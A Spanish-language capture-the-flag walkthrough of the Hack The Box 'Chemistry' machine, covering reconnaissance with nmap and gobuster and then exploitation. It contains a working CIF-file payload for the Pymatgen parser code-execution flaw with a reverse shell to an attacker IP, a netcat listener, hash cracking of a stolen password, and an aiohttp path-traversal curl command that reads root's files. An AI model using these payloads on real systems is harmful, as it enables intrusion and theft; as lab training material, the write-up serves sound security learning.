La máquina Chemistry es una máquina fácil de HTB.
Resumen de conceptos trabajados:
• Enumerate ports/services (nmap) • File Upload • Exploitation via RCE in CIF Parser • Privilege Escalation to User • Service Discovery • Exploitation via Directory Traversal to Root |
Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.
A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».
Estructura del contenido
NUMERACIÓN -> ESCANEO DE PUERTOS
Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.
Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:
¿Está la máquina víctima activa y nos podemos comunicar con ella?
Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:

nmap -sn 10.10.11.38
-sn : realiza un Ping Scan para verificar que el host está activo sin intentar descubrir puertos.
¿Qué OS está ejecutando la máquina víctima?
ping -c 1 10.10.11.38 -R

ping
: se comprueba si la máquina víctima está conectada y responde en la red. Básicamente, manda un mensaje para ver si la máquina responde con un «¡Sí, estoy aquí!».
-c 1
: aquí indicamos que solo queremos mandar un mensaje («un ping») en vez de muchos. Si no lo pones, el comando seguirá mandando mensajes hasta que lo detengas manualmente (CTRL+C).
[IP de la máquina víctima]
: dirección de la máquina víctima.
-R
: este comando Trace Route indica que quieres rastrear la ruta que sigue el mensaje para llegar a la máquina víctima y volver. En algunos laboratorios de pentesting como HTB suele haber un nodo intermediario en la comunicación que reduce en una unidad el TTL del SO.
En este caso el TTL es de 64 por lo que estamos antes una máquina Linux.
Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.38 -oG Escaneo

La idea de este escaneo es detectar puertos abiertos en la dirección IP especificada.
nmap
: nmap herramienta para escanear redes. Principalmente para descubrir hosts activos.
-p-
: esta opción le indica a nmap que escanee todos los puertos del 1 al 65535.
--open
: nmap solo mostrará los puertos que están abiertos.
-sS
: especifica el tipo de escaneo que se va a realizar. En este caso, es un escaneo SYN, también conocido como «escaneo sigiloso» o TCP SYN scan. Este tipo de escaneo no establece una conexión completa con el puerto, solo envía un paquete SYN y espera una respuesta. Si el puerto está abierto, responde con un SYN-ACK; si está cerrado, responde con un RST.
--min-rate 5000
: establece la velocidad mínima del escaneo en 5000 paquetes por segundo, lo que significa que nmap intentará enviar al menos 5000 solicitudes cada segundo. Esto puede hacer que el escaneo sea más rápido, pero también puede aumentar las posibilidades de que sea detectado por sistemas de seguridad.
-vvv
: Es el nivel de información que muestra nmap mientras escanea.
-n
: esta opción le indica a nmap que no resuelva nombres de dominio (DNS). Es decir, solo utilizará direcciones IP sin intentar convertirlas en nombres de host.
-Pn
: le dice a nmap que no haga un «ping» a la dirección IP antes de escanearla. Con -Pn
, nmap asumirá que el host está activo y procederá directamente al escaneo de puertos, útil si el host bloquea pings.
-oG Escaneo
: especifica el formato de salida y el nombre del archivo donde se guardarán los resultados del escaneo. Escaneo
es el nombre del archivo de salida donde se guardarán los resultados.
Sabemos por tanto que los puerto 22 SSH y 5000 UPNP están abiertos.
El puerto 5000 es frecuentemente utilizado por servicios y aplicaciones que emplean frameworks como Flask, un microframework de Python para construir aplicaciones web, o herramientas como Docker que pueden exponer servicios en este puerto. Este puerto no está asociado a un protocolo específico como HTTP o FTP, sino que puede configurarse para diferentes tipos de servicios personalizados.
Ahora vamos a lanzar un comando que nos va a reportar los servicios y versiones que corren para esos puertos abiertos:
nmap -sCV -p22,5000 10.10.11.38

Si aplicamos un curl a esa IP y puerto podemos ver la respuesta en consola donde nos reporta una página en html donde parece haber una aplicación llamada Chemistry CIF Analyzer.
curl http://10.10.11.38:5000

Esta aplicación web permite subir archivos CIF (Crystallographic Information Files) y analizar los datos estructurales contenidos en ellos. Hay enlaces para Login y Register (autenticación y registro), lo que sugiere que la aplicación tiene un sistema de usuarios.
Si hacemos descubrimiento de directorios bajo el puerto 5000 descubrimos efectivamente las rutas /login y /register.
gobuster dir -u http://10.10.11.38:5000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt

Llegados a los 20K registros paramos y vemos esas dos rutas abiertas y dos redirecciones.

Aquí vemos los dos enlaces.
Si clicamos en ellos, efectivamente vemos un panel de autenticación.
Probando a /register y generando un usuario inventado de nuevo, accedo a un /dashboard donde me permite subir un archivo CIF.
El mismo /dashboard que hacía una redirección en Gobuster pero que una vez registrado, estás dentro para manipular:

SUBIDA DE FICHERO .CIF
En este punto vamos a subir un archivo CIF válido malicioso que nos permita poder conectarnos al servidor a través de un payload mediante reverse shell por ejemplo.
Si hacemos click sobre el ejemplo que mencionan «here» vemos la estructura que debe llevar el archivo CIF:

Recordar que CIF (Crystallographic Information File) es un formato basado en texto que contiene información estructural sobre Cristalografía, relacionado con el tema de la máquina…
Vamos a probar si añadiendo líneas irrelevantes o mal formateadas al archivo CIF y subiéndolo de nuevo, el servidor responde de alguna forma.
Para ello, vamos a incluir esta línea al final y subimos el archivo:
_cell_length_a BAD_DATA
Lo he subido y sin problemas en la subida, pero al abrirlo me devuelve un error de servidor:


El error 500 Internal Server Error indica que el servidor intentó procesar el archivo, pero algo falló internamente. Esto es una buena señal porque nos confirma que el servidor realiza algún tipo de operación sobre el archivo que podría explotarse.
Buscamos en Google si existe alguna vulnerabilidad potencial o CVE para archivos CIF.
EXPLOTACION VIA EJECUCIÓN DE COMANDOS EN CIF
Resulta que sí, y que si accedemos, tenemos el payload RCE Arbitrary Code Execution:

Entonces ahora sobrescribiendo el archivo cif de ejemplo con el siguiente código y modificándo la IP atacante y el puerto de escucha, accedemos a la terminal:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.170/9090 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
nc -lvp 9090
Una vez dentro de la terminal, y para poder trabajar sobre ella sin problemas, estabilizamos la shell y la hacemos interactiva con python con el comando:
python3 -c "import pty;pty.spawn('/bin/bash')"
ESCALADA DE PRIVILEGIOS A USER
Después de listar los distintos archivos y navegando por la terminal, acabamos encontrando el archivo database.db que contiene usuarios y contraseñas, encontrando el usuario «rosa» y una contraseña en formato hash.

Por lo que vamos a crackear esa contraseña hasheada a través de la web CrackStation:

Ya tenemos por tanto usuario y contraseña, y sabemos que tenemos el puerto 20 ssh abierto, por lo que vamos a probar a acceder por ssh y dentro.

Ya tenemos la primera flag de user para rosa.
Una vez estamos dentro del servidor víctima, vamos a ver qué servicios están corriendo mediante el comando netstat -l
.

DESCUBRIENDO SERVICIOS EN EL SERVIDOR
El hecho de que haya un servicio en el puerto 8080 (http-alt) indica que probablemente hay un servidor web o una aplicación basada en HTTP ejecutándose.
Vamos a ver la cabecera de esa aplicación para ver el servidor y versión:

EXPLOTACIÓN A ROOT MEDIANTE PATH TRAVERSAL
Vemos que esa versión del servidor tiene una vulnerabilidad reciente de Path Traversal «aiohttp cve» que podemos explotar:
curl -s --path-as-is http://localhost:8080/assets/../../../../root/root.txt

Y así obtenemos la flag de root.